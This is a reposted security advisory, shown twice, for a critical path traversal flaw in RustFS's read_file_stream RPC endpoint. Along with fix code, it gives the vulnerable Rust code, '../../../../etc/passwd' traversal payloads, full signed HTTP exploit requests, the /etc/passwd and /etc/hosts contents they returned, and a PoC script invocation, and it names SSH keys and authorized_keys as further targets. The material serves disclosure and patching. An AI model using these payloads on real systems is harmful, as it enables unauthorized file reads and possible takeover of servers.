Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-pq29-69jg-9mxc: RustFS Path Traversal Vulnerability

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against ../ sequences
  • Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration


2. Read /etc/hosts

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3  d25e05a19bd2

Impact: Network configuration disclosure


3. Read /etc/hostname

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn’t use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
    • Code validates: file.len() >= offset + length
    • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
  • Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment

Confidentiality Impact: HIGH

  • ✅ Read arbitrary files (demonstrated)
  • ✅ Read system configuration files (/etc/passwd, /etc/hosts)
  • ⚠️ Potential to read:
    • SSH keys (/root/.ssh/id_rsa)
    • Application secrets
    • RustFS configuration files
    • Environment variables from /proc

Integrity Impact: HIGH

  • ⚠️ Similar vulnerability exists in put_file_stream (not tested)
  • ⚠️ Arbitrary file write likely possible
  • ⚠️ Could write to:
    • Cron jobs
    • authorized_keys
    • System binaries (if permissions allow)

Availability Impact: MEDIUM

  • ⚠️ walk_dir endpoint could enumerate entire filesystem
  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

  1. Network Access: Ability to reach RustFS RPC endpoints
  2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
    • Default: "rustfs-default-secret"
    • Production: From environment variable or config
  3. Disk/Volume Knowledge: Valid disk ID and volume name
  4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

  • Without Secret: Impossible (signature verification)
  • With Secret: Trivial (automated script)
  • With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

  1. Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;

    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }

    // Continue with validated path...
}
  1. Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}
  1. Use path-clean Crate
use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

  1. Audit Logging: Log all RPC file operations with full paths
  2. Rate Limiting: Prevent DoS via repeated RPC calls
  3. Secret Rotation: Ensure unique RPC secrets per deployment
  4. Network Segmentation: Restrict RPC endpoint access
  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements

  1. Chroot Jail: Isolate RPC operations in chroot environment
  2. Least Privilege: Run RustFS with minimal file system permissions
  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

ghsa
#vulnerability#mac#auth#ssh#docker

RustFS Path Traversal Vulnerability****Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against …/ sequences
  • Protection against absolute paths

Proof of Concept****Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario****Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, “{url}|{method}|{timestamp}”) Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp

Successful Exploits****1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3  d25e05a19bd2

Impact: Network configuration disclosure

3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure

Technical Analysis****Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal: volume_dir = PathBuf::from(“/data/rustfs0/.rustfs.sys”) path = “…/…/…/…/etc/passwd”

// PathBuf::join() resolves to: file_path = “/data/rustfs0/.rustfs.sys/…/…/…/…/etc/passwd” = “/etc/passwd” // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn’t use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves …/ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
    • Code validates: file.len() >= offset + length
    • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
  • Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment****Confidentiality Impact: HIGH

  • ✅ Read arbitrary files (demonstrated)
  • ✅ Read system configuration files (/etc/passwd, /etc/hosts)
  • ⚠️ Potential to read:
    • SSH keys (/root/.ssh/id_rsa)
    • Application secrets
    • RustFS configuration files
    • Environment variables from /proc

Integrity Impact: HIGH

  • ⚠️ Similar vulnerability exists in put_file_stream (not tested)
  • ⚠️ Arbitrary file write likely possible
  • ⚠️ Could write to:
    • Cron jobs
    • authorized_keys
    • System binaries (if permissions allow)

Availability Impact: MEDIUM

  • ⚠️ walk_dir endpoint could enumerate entire filesystem
  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements****Prerequisites

  1. Network Access: Ability to reach RustFS RPC endpoints
  2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
    • Default: “rustfs-default-secret”
    • Production: From environment variable or config
  3. Disk/Volume Knowledge: Valid disk ID and volume name
  4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

  • Without Secret: Impossible (signature verification)
  • With Secret: Trivial (automated script)
  • With Default Secret: Critical risk if not changed

Mitigation Recommendations****Immediate Actions (Priority 0)

  1. Path Canonicalization

async fn read_file_stream(&self, volume: &str, path: &str, …) -> Result<FileReader> { let volume_dir = self.get_bucket_path(volume)?;

// CRITICAL FIX:
let file\_path = volume\_dir.join(Path::new(&path));
let canonical = file\_path.canonicalize()
    .map\_err(|\_| DiskError::FileNotFound)?;

// Validate path is within volume\_dir
if !canonical.starts\_with(&volume\_dir) {
    error!("Path traversal attempt detected: {:?}", path);
    return Err(DiskError::InvalidArgument);
}

// Continue with validated path...

}

  1. Path Component Validation

// Reject dangerous path components if path.contains(“…”) || path.starts_with(‘/’) { return Err(DiskError::InvalidArgument); }

  1. Use path-clean Crate

use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains(“…”) { return Err(DiskError::InvalidArgument); }

Additional Security Measures

  1. Audit Logging: Log all RPC file operations with full paths
  2. Rate Limiting: Prevent DoS via repeated RPC calls
  3. Secret Rotation: Ensure unique RPC secrets per deployment
  4. Network Segmentation: Restrict RPC endpoint access
  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements

  1. Chroot Jail: Isolate RPC operations in chroot environment
  2. Least Privilege: Run RustFS with minimal file system permissions
  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

Ensure RustFS is running

docker compose ps

Run exploit

python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

References

  • GHSA-pq29-69jg-9mxc
  • rustfs/rustfs@ab75245

ghsa: Latest News

GHSA-fg6f-75jq-6523: Authlib has 1-click Account Takeover vulnerability